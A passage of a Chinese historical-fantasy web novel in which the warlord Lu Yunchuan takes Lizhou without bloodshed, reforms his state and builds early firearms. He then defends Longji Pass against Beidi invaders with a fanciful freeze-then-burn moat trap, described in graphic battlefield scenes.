陆云川又是一剑,砍断了帅帐旁旗杆,旗帜在风中陨落,缓缓盖在了陈拓的尸体上。 虽然他做了很多恶事,但最后一刻并未逃跑,作为战争对手,应当给予该有的尊重。 一代枭雄武威会,就此落下帷幕。 “侯爷!” 军营上下,一片惊骇欲绝的惨嚎! “帅旗倒了!侯爷没了!” “跑啊!” 主将阵亡,成了压垮昭军的最后一根稻草。 整个昭军营盘如同被惊动的蚂蚁窝,士兵扔下武器,哭爹喊娘,只恨爹娘少生两条腿,在凉州铁骑和愤怒百姓的追逐中四散奔逃。 胜。 一场酣畅淋漓、酣畅淋漓的歼灭性大胜! 夜尽天明时分。 硝烟仍在弥漫。 胡大彪浑身浴血,策马奔来,手中提着一颗鲜血淋漓的人头。 “陆头儿,黄子京这厮企图化妆成村民逃跑,被清河村几个猎户堵在臭水沟里活捉,百姓愤怒难平,已将其乱刃分尸,这是首级!” 陆云川瞥了一眼那面目扭曲,死不瞑目的首级,眼中无悲无喜。 这种死法,太便宜他了。 陆云川微微颔首,声音平静,却如同宣告一个时代的终结: “枭首传檄,示众利州,通告兴元府与大昭朝廷,犯我凉国者—— 虽强必戮,虽远必诛!” …… 良子关告捷,只是阶段性的胜利。 陆云川本次挥师南下,最主要目的是吃掉利州平原。 十万大军都已败北,再加上平原无山河之险,骑兵可以平推横扫。 作为利州路的治所“兴元府”,已是吹弹可破的囊中之物。 接下来的几日,整顿兵戈,收编降卒,陆云川的南伐大军已扩充至七万,收缴的粮草,辎重,马匹更是数不胜数。 以战养战,越打越肥! 东边的龙脊关也如同预料,沈风拒关不出,叫大昭征西军队进不得半步。 东线战事稳定,南线便可放手一搏。 天启初年,六月十五,夏末时节。 陆云川再调一千虎骑,两千豹骑,三十艘战船,八千名水兵,并入南伐大军。 如此,本部兵马,加上收编的降卒,以及为感激凉王而自愿加入的后勤民夫,整整十万大军! 就算没有十万,也得自称十万。 十万大军!听着就够吓人! 兴元府?胆子大?怕不怕? 天启初年,六月十八。 凉王亲率十万大军,水陆并进,兵锋直指兴元! 第一百六十八章兵不血刃取利州 陈拓身死,二十万昭军灰飞烟灭的消息,如同插上了翅膀的雷霆,以惊人的速度席卷整个西北。 凉王裹被万民助战、阵斩枭雄的事迹,也传遍了利州大街小巷,所到之处,无人不敬畏。 能够兵不血刃,何需将士埋骨? 这一次陆云川决定,兵不血刃拿下利州。 为此,他制定了一系列的阳谋—— 其一,真相开路。 派出凉军斥候轻骑,抢在溃兵与官方信使之前,将良子关战役的详细战报以及陆云川的亲笔《告利州军民书》,张贴于沿途所有城镇,村寨的告示墙! 文书措辞恳切痛心,揭露陈拓、黄子京之流祸国殃民,渲染凉军乃“吊民伐罪”之师,昭示陆云川必护百姓安宁、分田减赋之新政。 其二,溃兵惊魂。 比告示更震撼的,是那些失魂落魄、丢盔弃甲从良子关溃逃下来的昭军败兵。 因此陆云川再派遣凉军中的一些伤员,到处宣扬凉国的神威,带给整个利州是最直观的恐惧和绝望。 “凉国铁骑杀人如割草!” “凉王是天神下凡!” “百姓都反了!拿锄头镰刀追着我们砍啊!” “再不投降啊,就完蛋了!” 假扮的溃兵如同行走的扩音器,渲染恐慌和失败的情绪。 其三,王师气象,大秀肌肉。 入利州的水陆两军,军容整肃,秋毫无犯。 不仅不扰民,反而在行军途中清理兵匪,打土豪恶霸,发放少量缴获粮食给最困苦的村落,与溃兵的狼狈形成天壤之别。 三大阳谋施展来开来,整个利州彻底沸腾。 再加上武威候本就是利州平原最大的地主,平日里没少剥削百姓,私增赋税,百姓早已对他不满。 凉王杀贪官,除恶霸,斗地主,灭瘟疫,名声远扬。 自打王师进入利州,百姓们箪食壶浆,纷纷涌上道路河边,只为远远看一眼传说中的凉王大旗。 更有民间传言:“凉王身高丈许,方面阔耳,大鼻子,大额头,大脑袋,什么都大……” 陆云川是希望自己能在百姓心中能“高大威猛”些,但也不至于“大”到这种地方吧? 要真的大成这样,那岂不是成四不像了? 利州百姓归心,地方官员则惶惶不可终日。 面对凉军汹涌攻势与无敌威名,他们这些小虾米还能怎样?拼?拿什么跟人家拼?人心已都向着凉王了。 小县城,只能投降。 每路过一个县城,陆云川只派出百余轻骑,不等劝降书送达,县令便自动开了城门,献上了乌纱帽。 然而最鬼精灵的,还要属地方士绅豪强,他们早就听过这位凉王灭孔家庄的事迹, 于是迅速开始暗中串联,有的准备厚礼,有的开始清理自家田亩账册,不等陆云川派兵去找他们,自己便主动前来归顺。 正所谓“识时务者为俊杰”。 陆云川向来是好说话的,愿意主动归属,那么就是看得起我陆某人。 大家坐下来吃饭,不说有多好,至少能管饱。 那么如此一来,便只剩下兴元府,利州这最后的军政堡垒,拿下这座城,才算完完整整控制了利州。 天启初年,六月二十五日。 南伐大军,兵临城下。 十万大军整齐列队,虎骑在前,豹骑左右,重弩,投石机等远程部队,全部严阵以待。 光是这撼天动地的军威,便足以压得兴元府一万守军喘不过气。 陆云川加持着王印的亲笔劝降书,被送到了兴元官府内。 此刻,兴元府内。 利州经略使王献之,手握着劝降书不停颤抖,堂下是兴元城内, “降者不杀、保家产、择才录用……” “王大人,还是降了吧?利州大势已去……” “不能降!我府已书信成都与夔州,相信再过不久——” “再过不久!亏你也说得出口,凉军已兵临城下了!我们能坚持几日?一日?还是半日?还是一个时辰!” “要不我们逃吧……” “逃?往哪儿逃!连河道都给锁死了!” 主战派,多为武威候府的死忠。 主逃派,多为城中世族富豪。 主降派,多为兴元府官吏。 三家争论不休,争得面红耳赤! “报!” “凉国大军已经策动,正分出两翼向南城与西城迂回!” “报!” “凉国水师三十余艘战船在北郊码头停靠,五千余名水师在北岸登陆,已派遣小船沿护城河的水渠向城北逼近!” “报!” “凉王口传:他快要失去耐心了!” 来了! 豺狼虎豹要张开血盆大口了! 顿时,堂内鸦雀无声。 经略使王献之,长叹一口气: “降!我去降……” 这一次,无论是主战派,主降派,主逃派全都鸦雀无声。 两刻钟后,兴元府城墙上。 王献之立于门楼,看着城外那象征着毁灭与新生的庞大军队,听着城内此起彼伏的“迎凉王”的呼喊,本就苍白的脸更是毫无血色。 他痛苦地闭上眼,作为封疆大吏,他肩负着守土之责。 但此刻,他更清晰地感受到脚下这座孤城正在瑟瑟发抖: “大势如斯……回天乏术……” 王献之的声音沙哑而疲惫,“传令,打开所有城门,放下……所有武器!本官……率兴元府文武……及军民……归降凉国王!” 没有血战。 没有惨烈的攻城。 当象征着投降的白旗从兴元府最高城楼升起; 当沉重的城门在无数士兵和百姓复杂目光的注视下缓缓洞开; 当王献之带着一群神情各异的官员,徒步出城,脱去官帽,手捧印信户籍图册,跪伏于尘埃之中; 当胡大勇率先昂然策马,踏过吊桥,高举凉国王旗步入这座利州盆地的心脏…… 整个利州,在这一刻,沸腾了! “凉军入城啦!” “分田,减税,真如传闻中的那般么?” “哪个是凉王?是排头的那个么?” 兴奋,欢呼,疑惑,如同积蓄已久的火山,在每个凉国军民心中发酵。 陆云川当然不会着急入城,兴元府刚刚归降,万一有头铁的死忠暗伏杀机怎么办? 城外中军,陆云川骑在马背上,脸上并无太多意外。 “传令。” 他声音平静,却带着鼎定乾坤的力量: “昭告天下:自今日起,利州平原,尽归凉国治下!” “凉军署理兴元府一切军务,着令王献之配合,点验接收府库户籍,整编愿降军卒!” “晓谕利州全境:遵凉国新政,今岁免税一年,流民归田者,按丁授田,抚慰善后!” “开仓,放粮三日,与民同庆!” 待凉国铁骑控制全城,快马将王令传遍大街小巷,百姓的呼声才彻底爆发: “凉王万岁!凉王万岁!” 第一百六十九章 大刀阔斧搞内政 “大勇,从今日起,兴元府乃至整个利州军政,便由你全权负责了。” 总得派个人来镇守兴元,胡大勇是陆云川的原始股,是绝对信任之人,身边除了他之外,再没有合适的人选。 但是……他还是太莽撞了些。 可是……陆云川自打割据一方以来,收编的都是武将,文官人才实在太稀缺了。 “这样,世昭,你也留驻兴元城,辅佐大勇一段时间,待本王回雍州,选几个文官人才过来替换。” 陈世钊毕竟是正规军官出身,能文能武,比胡大勇要冷静不少。 其实胡大勇还好,至少会动脑子。 周大彪就不一样了,纯纯虎人一枚。 “本王离开以后,你们要记住,一定要牢牢握紧手中的兵权,要时刻提防兴元府那些旧官,一旦发现他们越权,不用犹豫,直接灭其三族!” “还有,若遇到大事无法做决定,快马书信送来雍州,等本王定夺后再进行下一步……” 说得太多,交代得再详细,也不如快快回去招揽人才。 拿下兴元府的第三日,陆云川留下五万驻军,而后带着剩下的四万大军,于第四日一早离开兴元,班师回凉。 利州平原啊,一望无际的麦田。 夏末季节,早熟的麦谷金灿灿,风吹麦穗迎风起舞。 有了利州平原这块地,只要不发生天灾,凉国全境都不会再为饿肚子发愁了。 “什么人,竟敢阻拦凉王车架!” 官道上突然出现“一人一狗”,那人穿着布衣,个子矮小,背上还背着个竹篓,手中牵着一条大黄狗。 领队在前的周大彪,一声呵斥,吓得黄狗“嗷呜嗷呜”直叫。 那人踉跄了两步,左脚绊右脚,一屁股摔在了地上,“我……我是……我是……” 车架内的陆云川,听到声音有些熟悉,撩起窗帘瞥了一眼,咦?那不是小郎中,姜采桑么? “我……我这便走,这便走!” 姜采桑牵起狗逃一般要跑。 “大彪。”陆云川吩咐了声。 “王上有何吩咐?”周大彪回到车驾旁问。 “以后嗓门小一些,去,将人家客客气气,恭恭敬敬地请过来。”陆云川叹道。 “王上,这小白脸是谁啊?” “她是你们的救命恩人,青蒿丸便是出自她手。” “哎呀,真是人不可貌相啊!” 周大彪赶紧追上姜采桑,龇牙嘻嘻笑笑,好说歹说将人家请到了车驾边。 姜采桑皱着眉头,在她眼里看来,这莽大汉笑起来比凶起来还吓人。 “姜大夫,找本王有何贵干?”陆云川探窗轻声问道。 姜采桑犹豫了片刻才说,“我……我想去雍州,方便等待我哥哥的消息……” 陆云川眼睛微微一亮,这小郎中医术很不错,也算是个人才,留在自己帐下没有任何坏处。 “来人,给姜大夫备一匹马。” “那个……” “怎么了?” “我不会骑马……” 姜采桑低头,扯了扯身旁的大黄狗,“旺财它也不会……” 陆云川微微一愣,呵呵笑出了声,招了招手,“上车吧。” “可是……” 姜采桑扫了一眼马车,这是国王的座驾,她岂敢造次? “快上来,连狗也一起上来。” 陆云川放下窗帘,不再多言。 姜采桑只好硬着头皮,在众军士的注视下,拉着狗钻进了车驾。 “那么,去了雍州,吃哪儿,住哪儿,怎么活计?”陆云川淡淡问道。 “这些年卖药材,也攒了些银子,打算先开个小药铺。”姜采桑说道。 “多少?” “共有十二两银子。” “这点钱,你在雍州城内,连个狗窝都买不起。”陆云川直言。 姜采桑哑然,暗自呢喃,“雍州房价这么贵么……” “有没有兴趣来王宫当太医?”陆云川问道。 “我?”姜采桑睁大眼睛,低头不自信,“我一个江湖野郎中……” “就这么定了。” 陆云川语气不容拒绝。 “谢王上……” 姜采桑细若蚊声,抬头时不时打量,曾以为凉王是个老头子,再不济也是个中年人,没想到这般年轻有为。 “还有,以后恢复女装吧,大夏天裹得这么紧,会很难受的。”陆云川淡淡说道。 姜采桑低头看了一眼自己的胸脯,为了让自己更男人些,硬生生将两个木瓜,裹成了两颗鸡蛋,这期间的痛苦只有她自己心里清楚。 她脸颊微微一红: “知道了……” …… 回到雍州城。 陆云川撸起袖子,大刀阔斧,开始搞内政—— 开办太学。 恩科取士。 创办太医。 互通商贸。 兴修水利。 修缮防御。 研发火器。 减少战争财政支出,大力扶持士农工商! 人才是国家兴旺的根本,雍凉之地本就贫瘠苦寒,更加迫切需要人才。 厚实的家底儿,坚硬的拳头,才是横扫一切的底气。 接下来的半个秋,陆云川几乎两点一线。 当然并非女人身上的两点一线,而是王宫到匠作堂的两点一线—— 搞发明! 陆云川很清楚自己发家的优势,那便是自己脑海中的现代知识。 虽然他不是什么都会做,但他有理论,有想法,有大致的方向。 譬如火枪与火炮。 原理很简单,利用火药爆炸,在枪管与炮膛里产生高温高压,推动子弹进行击发。 若火枪与火炮被研发而出,再厉害的甲胄,再坚硬的城门,都将脆如薄纸。 当然,在几乎没有工业,全靠手搓的古代,这条路还很漫长。 “啪!” “嘭!” 一声枪响。 “唉……又炸膛了……” “王先生,我早说过了,这枪管太薄了,起码再加厚三毫。” “徐先生,若枪管加厚三毫,重量就得多三倍,这‘火绳枪’就没必要装备了……” “看来只能麻烦吕铁兄弟,打造出重量更轻,更坚硬的好铁了……” 在匠作堂里的工匠们,思想碰撞,反复实验之下—— 第一支远程火器,火绳枪终于诞生了。 虽然十支会炸膛六只,但不论怎么说,它还是被搞出来了。 很多东西,就得先把它搞出来,然后再查漏补缺,慢慢完善,慢慢升级。 看到激烈讨论的大家,以及火绳枪的成果,陆云川心里欣慰极了, 他似乎已能预见,未来战场上,步兵们举枪齐射的画面! “报!” 千目堂探子冲进匠作堂,身背黄色令旗,十万火急。 “讲。” “龙脊关传来消息,北狄五十万大军已翻过长城西段,兵锋直指长安城! 大昭镇西大将军韩忠,连夜拔营后撤驰援长安城,岂料才刚退兵不过八十里,便遭到了北狄的埋伏,六万大军,全军覆灭! 这是沈将军的亲笔印信,王上亲启!” “嘶……” 陆云川倒吸一口凉气,五十万北狄大军入关? 第一百七十章 天下大乱 沈风的印信上写得清清楚楚,北狄大军的确已翻过长城。 这场突如其来的战火,意外却又不意外。 北狄是比蛮国还有更强大的游牧民族,雄踞北方,幅员辽阔,军事实力比大昭更强,更凶悍。 眼下已是秋收时节,对于游牧民族而言,正是入关抢掠时机。 北狄趁着大昭与凉国交战之际,趁机翻过长城攻打长安也在合理之中。 只是……五十万大军?这个数字实在太恐怖。 若北狄真有这么多人入关,那么长安……恐怕难以长安了。 “传本王命令,速调五万大军,星夜驰援龙脊关!” 倘若长安城被破,北狄占据关中平原,那么龙脊关便是守护凉国的第一门户。 半个月后,八月十九。 “报!” “北狄大军势不可当,已进入关中平原!” 八月二十一。 “北狄大军,围攻长安城!” 八月二十五。 “北狄大军,攻陷长安城!” 八月三十。 整个永兴军路,关中平原,全部被北狄扫平。 九月初八。 一件震惊东方的大事传遍天下—— “北狄单于完颜淦,于长安城建朝称帝!” 同月,大昭王朝举国动荡,因害怕北狄大军东进,大昭皇帝决定将京师从汴京迁到江南金陵。 如此一来,整个东方大地上,出现了两个“大一统王朝”。 还不仅于此,西南的羁縻州纷纷独立,一个叫“巫国”的少数民族政权在西南建立。 东北的高句丽见大昭遭此惨败,不再向大昭王朝称臣,也有举兵南下之意。 短短两个月不到,天下大乱! 谁都想入主中原,谁都想吃掉大昭这块肥肉。 “一个西北出身的土匪,都能自称为凉王,我们为何不能?” “大昭连一个匪王都打不过,根本不配我们向它称臣!” 诸如此类的舆论,席卷着整片神州大地。 蝴蝶煽动翅膀,可以引发一场台风,这个便叫做“蝴蝶效应”。 同理,陆云川建立凉国,大败武威候陈拓,这些事迹无疑就像“兴奋剂”,狠狠刺激着周边这些曾经向大昭称臣的国家。 当中原大一统王朝的威信被践踏,番邦邻国便会上蹿下跳,反噬其主。 天下群雄割据,乱世拉开序幕! 九月末,深秋时节。 云清宫大殿上,群臣一片哗然。 “一个北方的鞑子,竟敢占据长安称帝!还要我国向其称臣!简直岂有此理!” “据说北狄以天子号令,已发往周边各国,包括大昭京师,若不向其称臣纳贡,便会铁蹄开赴,武力征服……” “那就让他们来!炸不死他们!” “王上,北狄都敢建朝称帝了,您何不效仿于他们,即皇帝位,称天子!” 殿上。 陆云川用手指清点着案桌上的“称臣书”,态度相当冷静。 建朝称帝? 什么是大一统王朝? 九州中央集权,消灭割据政权,入主中原腹地,万国来朝称臣! 说通俗些,喊出国号,周边小国便会为之一颤的,那才能被称之为大一统王朝! 陆云川现在只有雍凉与利州两块地,拿什么称帝? 再说那北狄,就占了座长安城,得了一块关中平原,便迫不及待建朝称帝,实在太不自量力了。 哼,还要凉国称臣纳贡……他陆云川是会给别人当小弟的人么? “行了,天下大乱,非我凉国一时可定,然此乱局,亦是我凉国千年未有之机遇! 诸位无需再争论,此事本王自有定夺, 孙铭,许畅,你们二人随我到书房。” 陆云川拾起称臣书离开王座。 辗转书房。 “蛮国的态度如何?”陆云川开口先问。 既然“狄朝”给各周边国家都发了称臣书,那么蛮国肯定也收到了。 “蛮国部落繁多,意见不能统一,但至少狼族是不愿意称臣的。” 孙铭顿了顿,又道:“但据消息称,蛮王已经病入膏肓,估计没多少日子蛮国便要另立新王了; 每一个蛮王,都有不一样的国策,称臣或是不称臣,全看是主战主和两派谁能上位。” “西域那边的羌国呢?” 陆云川偏头看向李璞。 李璞主管商贸与财政,与西域做通商多年,他再清楚不过。 “微臣正想向王上汇报,” 李璞说道:“自打北狄建朝后,羌人便封锁了‘玉户关’,切断了河西走廊, 许多重要的商品,只能通过从蛮国借道才能进入咱们凉国,其中最重要的便是硫磺; 硫磺产地来自西域火山口,一旦玉户关被关闭,咱们制作火药的原材料便会卡死; 羌国中的拓跋氏,一直都是北狄的走狗,如今北狄建朝,羌人肯定会第一个称臣。” “好……”陆云川点了点头。 他之所以会着重询问这两个国家的态度,是因为蛮国与羌人都与凉国接壤。 拒绝向北狄称臣,北狄一定会进犯凉国。 那么想要专心应对北狄,西边的蛮国与北边的羌国就一定不能乱。 蛮国内部现在正在争抢王位,且凉国与狼族又有盟约,西边暂时不用担忧; 至于北边的羌国。 其实凉国并不算真正意义上与羌国接壤,因为二者之间还隔着一片广袤的戈壁荒地。 羌国是邻边三大游牧政权中最弱的一支,长年以来依附于北狄。 就算羌国会从玉户关出兵协助北狄,那也要面对戈壁与荒地的考验,故而北边的威胁也不用太担心。 那么既已无后顾之忧,与北狄碰一碰又有何妨? 所有人都认为大昭太弱,连一个凉国匪王都斗不过。 殊不知,明明这是匪王实力太强! 匠作堂刚研发出了一批好火器,陆云川也正想拿到战场去试试威力。 陆云川当即用笔写下一封信,信上只有“去你妈的”四个大字。 他将信纸折好,塞进称臣书递给孙铭: “派人将此书送去长安—— 再调集一万兵马,本王要亲自出征,捍守龙脊关!” 第一百七十一章 射爆他的眼睛 天启初年,九月二十三。 继五万大军增援龙脊关后,陆云川再亲率一万精兵,带着火器等辎重,加急奔赴龙脊关。 早在日前,龙脊关便传来通报: “二十万北狄大军从长安方向西进,领兵者乃北狄‘天纵将军’阿古拉,一路高歌猛进,烧杀抢掠……” 陆云川不得不加快脚步。 九月二十七,急行军四日,抵达龙脊关口。 同日,北狄大军已渡过渭水,兵锋锐利。 “快!加固城门,北狄人要来了!” “将王上带来的‘寒渊凝冰露’全部安置上城墙!” “各哨塔箭楼,打起十二分精神!” 又一场史诗级攻防战,一触即发。 十月初一,秋末最后几天。 西北的晚秋,万物肃杀,寒风呼啸。 天地间一片苍茫,大战还未开始,便已悲凉残酷。 凌晨,龙脊关城头,寒风如刀。 水汽凝成冰锥,犹如龙牙嵌在墙上。 巨大的“凉”字王旗在风沙中狂舞,发出沉闷的撕裂声,仿佛随时会被这来自塞北的恶意扯碎。 城垛的阴影下,值哨的士卒将脸死死埋进旧皮袄,只露出一双布满血丝的眼睛。 他们紧紧盯着关外那片被风搅得天昏地暗的黄沙世界。 死寂,凄凉,了无生机。 突然! 一名眼尖的老卒身体猛地绷直,布满老茧手死死抠住冰凉刺骨的垛口砖石。 脚下! 脚下厚重的城墙,竟传来一阵由弱变强、连绵不绝的闷雷之声! 老卒戍关多年,从大昭到凉国,经验十分充足——他听得出来,这不是自然的轰鸣,而是马蹄! 渐渐。 沉重、密集、带着某种毁灭性的节奏,砸在遥远的地平线上。 “哒…哒哒哒…哒哒哒哒…轰隆隆……” 只见那灰黄昏骁的天地相接之处,一道黑色的浪潮正排山倒海般涌来。 起先是蠕动的一条墨线,转瞬之间便膨胀翻滚,席卷视野! 那浪潮并非海水,而是无数身披沉重玄黑铁甲、人马笼罩在死亡阴影里的重装骑兵! 铁甲摩擦,蹄声如雷,汇成一片撼动天地的恐怖声浪——是北狄最令人闻风丧胆的“铁林军”! 而在北狄大军之前,成千上万的百姓,男女老少,被粗麻绳缚住双手,像串起待宰的牲畜,在北狄士兵的鞭挞和咒骂下,踉跄前行。 哭声、哀嚎、鞭响被风撕成碎片,却像钝刀般刮在每一个城头守卒的神经上! “敌袭!!!” “当当当!” 老卒当即敲响警钟,哨兵点燃烽火狼烟。 黎明的死寂瞬间被打破,龙脊关开始集结动员! 与此同时, “呜,呜,呜——” 北狄军阵中的牛角号声,如同怪兽咆哮,刺穿晨曦,狠狠扎进龙脊关! “停!” 一声狮吼般的军令,铁甲洪流停止涌动。 狄军阵前的猩红巨纛之下,北狄‘天纵将军’阿古拉,身高九尺过半,手持一柄阔斧,表情嗜血狰狞。 “带上来!” 阿古拉的声音带着不容置疑的残暴。 两名北狄力卒,将一个须发花白、青色官袍已被撕扯破烂的老者拖到阵前。 老者虽口鼻流血,白发散乱,但腰背却挺得笔直,浑浊的老眼中喷涌着不屈的怒火! “城上凉狗睁大眼睛看着,此人乃是渭水县令,顽抗我北狄铁蹄的下场,如他——” “祭旗!” “凉王在上,众同胞在上,下官王守义,未给中原人丢脸——” “噗嗤!” 弯刀瞬间劈下。 白发苍苍的头颅在冰寒的空气中划出一道凄凉的弧线,沉重坠落! 无头的尸体僵直片刻,轰然砸落在冰冷的黄土地上,激起一片混杂着血腥的烟尘! 死寂! 再度陷入死寂! 关城上下,仿佛连风都在这一刻凝固了…… 王守义的热血洒在大地上,发出轻微的“嗤嗤”声,像是这片故土在抽泣。 他只是一个小小的县令,却有着无与伦比的民族气节,正如诗言—— 人生自古谁无死,留取丹心照汗青! “哼,中原王朝已崩,还拜什么凉王?” 阿古拉狞笑一声,持巨斧锋刃直指关墙,大吼道: “城墙上的人凉狗听着!” “三个时辰!” “开城!献降!跪迎我北狄天兵!” “过时一刻,本将军便在你龙脊关下再屠一万人牲!” “城破之时,鸡犬不留!!” 此喊话一出,被驱赶在阵前的百姓,发出嘶声悲号。 太狂傲! 太嚣张! 太残酷! 城上守军,握刀的手在颤抖,牙关在咯咯作响! 并非惧怕这些北狄人,而是那些无辜的百姓,一旦战争开打,他们必死无疑。 “吱呀——” 一声沉重却平稳的摩擦声响起。 城楼之上,那原本严丝合缝、厚若门板的巨大挡箭板,被人从内推开了一道丈许宽的缝隙。 陆云川冷着眼神,带着沈风,宋康,赵猛,钱无命等的一众亲卫精锐缓步而出。 “在良子关,陈拓尚且只是用耕牛填河,这帮北狄鞑子,竟躯人当肉盾,着实可恶!”宋康手捏长枪,指节紧得发白。 陆云川眼神淡漠,这便是残酷的战争,仁慈在这里一文不值。 眼下只是万余无辜的百姓,可若北狄铁蹄破关,那悲惨的将是两国上百万的子民。 “你便是凉王陆云川么?” 阿古拉战斧一挥,大声嘲讽:“我当以为是怎样的一位人物,原来只是个嘴上无毛的白面小儿,哈哈哈……” 陆云川懒得废话,偏头轻声招呼: “钱无命。” “在!” “射他。” “是!” 钱无命挑了一把两石重的硬弓,取了一支通体精铁打造的细长箭矢,箭尾如同凤尾一般嵌着三片羽毛。 这种特制细长箭矢,搭配强有力的硬弓,射程可达三百余步。 钱无命冷冷一笑,搭箭上弦,瞄准敌阵中哈哈大笑的阿古拉。 “嘣!” 长箭脱弦而出! “呼哧!” 箭鸣如鹰击长空,刺破了寒风声。 当阿古拉察觉时,箭头寒芒已在他眼前乍现! 他想躲避,已来不及,挥斧头做挡,更迟疑了些。 “大将军小心——” “啊!” 飞箭不偏不倚,恰好刺中了阿古拉的左眼! 他一声惨叫,却并未坠马,而是捂着淌血的左眼大怒:“凉王小儿卑鄙,竟敢暗箭伤人!” “快!保护大将军!” 霎时间,北狄军阵中乱作一团,无数卫兵蜂拥而上,竖盾将阿古拉护在身后。 原本嚣张的气氛,因阿古拉中箭,瞬间荡然无存。 第一百七十二章 冰火两重天 由于是特质的箭矢,加远了射程,却减少了威力。 再加上相隔甚远,这一箭只射爆了阿古拉的眼球,并未穿透他的恼怒。 “凉军中有神射!” “快!带大将军先撤!” 亲卫呼喊着要护送阿古拉离开。 “撤什么撤!临阵在前,无功而返,岂能有脸向大帅交代!” 阿古拉一把推开亲卫,怒吼一声,竟将箭矢与眼睛一并给拔了出来! “父精母血,岂能丢弃?” 他竟一口将眼球吞进了肚子里,随后捂着淌血空洞的眼窝,用右眼怒瞪着龙脊关墙,怒喝道: “驱民填河,攻城!” “嘟嘟嘟……” 号令一响,前排狄军,扬鞭怒斥: “快!往关墙下冲!” “若敢回头,乱箭齐发!” 万民被鞭策,只能向龙脊关奔逃。 “王上,这下怎么办?”沈风咬牙问道。 “不动。”陆云川淡淡吐出两个字。 “可是……龙脊关前的沟渠并不宽,水也不深,万人足以将其填满,到时候……唉!可恶啊!” 沈风一拳重重锤在墙上,虽说慈不掌兵,但箭雨一下,那便是上万人的生命! “火龙弹,投石机,重连弩,通通准备,等本王命令再放。” 陆云川依旧淡然,又道:“冲城墙下喊话,让百姓快速渡河。” 狄军驱民填河,步兵压进,然而在百姓与步兵之间,还有一道间隙断层, 借着这一个断层,可能只有半刻钟时间,陆云川便至少能救一半人! “城下百姓听着,速速淌水过河!” “速速淌水过河!过了河岸,你们便有生还的希望!” 沈风冲城墙下大喊。 这个时候,哪怕是骗他们,哪怕一丁点儿希望,众民都会犹如抓住一根救命稻草。 “凉王要救我们!” “快冲啊!” 求生欲望爆发,百姓向关前的护城沟渠狂奔,毫不犹豫跳进水中,争先恐后淌水过河。 “凉王这是作何,为何不发一箭?” 狄军阵中,副将巴图,不禁疑惑。 “哼,多半是仁慈心作祟!” 阿古拉冷哼了声,“反正这些人畜是用来填河用,他不杀,我们杀——放箭!” “放箭,杀民填河!” 狄军箭阵出列,霎时间万箭齐发,射向渡河的百姓。 一轮箭雨落下,百姓死伤惨重,沟渠里的河水瞬间被鲜血染红。 “快!快快上岸!” 关墙上所有人都紧盯着沟渠。 “将……将孩子送上去!” 父亲用身体做肉盾,母亲高高托举孩童,将他送上河岸。 “爹,娘……” 孩童的哭泣声,像一把尖刀,狠狠刺痛每个人的心。 “步兵,搭浮桥!” 百姓已浮尸上千于沟渠,北狄步兵紧随其后,企图利用尸体做支撑,搭建浮桥渡河冲锋。 “开闸吧。” 陆云川缓缓闭上眼睛,尽管河中还有百姓,但他已仁至义尽。 “开闸,放!” 龙脊关城墙内侧,靠近垛口下方,一排排早已准备好的,半人高的厚重木闸门,被守军士兵们用尽全身力气猛地拉开! 闸门之后,连接着深深嵌入城墙内部的、用巨大陶管和木槽构成的特殊通道! “哗啦啦!” 一股股粘稠、浑浊、散发着刺鼻硝石气味的灰白色液体,从那些洞开的闸门管道中翻滚倾泻而下! 这不是水!而是匠作堂日夜熬煮,反复提纯的“寒渊凝冰露”—— 高浓度的硝石溶液,冰寒刺骨,触如针扎! 三百桶,整整三百桶! 精准无比地汇入了龙脊关城前护城沟渠! “嗤嗤嗤……” 液体接触河面的瞬间,异变陡生。 刺耳的白气如同沸腾般剧烈升腾。 水面以肉眼可见的速度凝结。 并非寻常的薄冰,而是急速蔓延、加厚的惨白色冰层! 原本染红的血水,在短短十数息之内,变成了一片光滑如镜,反射着惨淡天光的巨大冰场! 寒气肉眼可见地弥漫开来,靠近河岸的也枯草瞬间挂满了白霜,河中来不及渡河的百姓,以及那些沉睡的尸体,也被美丽的冰花所埋葬。 “怎么回事?” “河……河结冰了,好快!” “小心,冰面!” 河面诡异的急速冻结,让冲锋的狄军排头兵迟滞! “愣着干什么!不许后退!冲过去!踩过去!” 前排的狄军百夫长厉声嘶吼,试图维持冲锋的势头。 临阵后退,当逃兵处理,排头兵们只能硬着头皮踏入这“人造冰河!” 然而,脚掌与冰面接触的瞬间,巨大的惯性加上光滑的表面,让人根本无法保持平衡! 脚下疯狂地打滑,刨动,试图抓住什么,却只是在冰面上徒劳地刮擦出刺耳的声音和飞溅的冰屑! “噗通!噗通!噗通!” 如同下饺子一般,一列列排头兵在巨大的惯性下,狠狠地侧翻、栽倒! 沉重的铁甲砸在冰面上,发出沉闷的巨响,有的撞在冰面上骨断筋折,有的则被后面刹不住的士卒狠狠践踏! “啊!” “我的腿!” 惨叫声、骨裂声、瞬间取代了冲锋的号角。 狄军冲锋的势头被硬生生扼断,根本触及不到对岸半步! “稳住,稳住阵脚!” 阿古拉在后方帅旗下看得目眦欲裂,他挥舞着马鞭,声嘶力竭地咆哮“: “妈的,弓箭手呢!压制城头啊!快!压制城头啊!” 狄军后阵的弓箭手慌忙张弓搭箭,一片黑压压的箭雨朝着城头泼洒而去! 然而,就在箭雨升空的瞬间! 城头上,陆云川那双冰冷的眸子,映照着下方冰面上挣扎的狄军,嘴角微微上扬,轻轻吐出一个字: “火。” “火箭——预备!” 钱无命振臂惊呼。 早已在垛口后引弓待发的凉州射手们,闻令而动! 手中的弓臂早已拉满,包裹着厚厚油布的箭头瞬间引燃! “放!” 一声令下,弓弦齐鸣! 数百支燃烧的火箭,带着凄厉的尖啸,撕裂冰冷的空气,如同坠落的流星火雨,精准地射向冰面! 冰火两重天,已不似人间! 第一百七十三章 烧死这群狗娘养的 “噗!噗!噗!……” 火箭扎入冰面,扎入狄兵身体! 更致命的是,那些火箭箭头燃烧的油布,在接触到冰面上流淌的、尚未完全凝结的残余硝石溶液时—— “轰……轰轰轰!” 一团团妖异而剧烈的幽蓝色火焰,如同被唤醒的火焰巨魔,毫无征兆地从接触点猛地爆发开来! 这火焰的蔓延速度快得超乎想象! 它并非寻常的橙红火苗,而是呈现出一种深邃、跳跃、带着毁灭性的幽蓝! 它更不像酒精那般温柔,而是迅猛,爆裂,惩罚! 蓝火宛如地毯,沿着冰面上残余的硝石溶液与狄兵身上被浸湿的皮甲和毛发,以令人瞠目结舌的速度,瞬间铺满了目之所及的整片冰河! “轰轰轰……” 蓝色火墙冲天而起! 冰面在高温下发出“咔嚓咔嚓”的爆裂声,火焰席卷之处,所有触及怒焰之人,被拖入地狱深渊。 “救命!火!火!” “水!快灭火!” 狄兵发出了撕心裂肺、令人心悸的惨嚎! 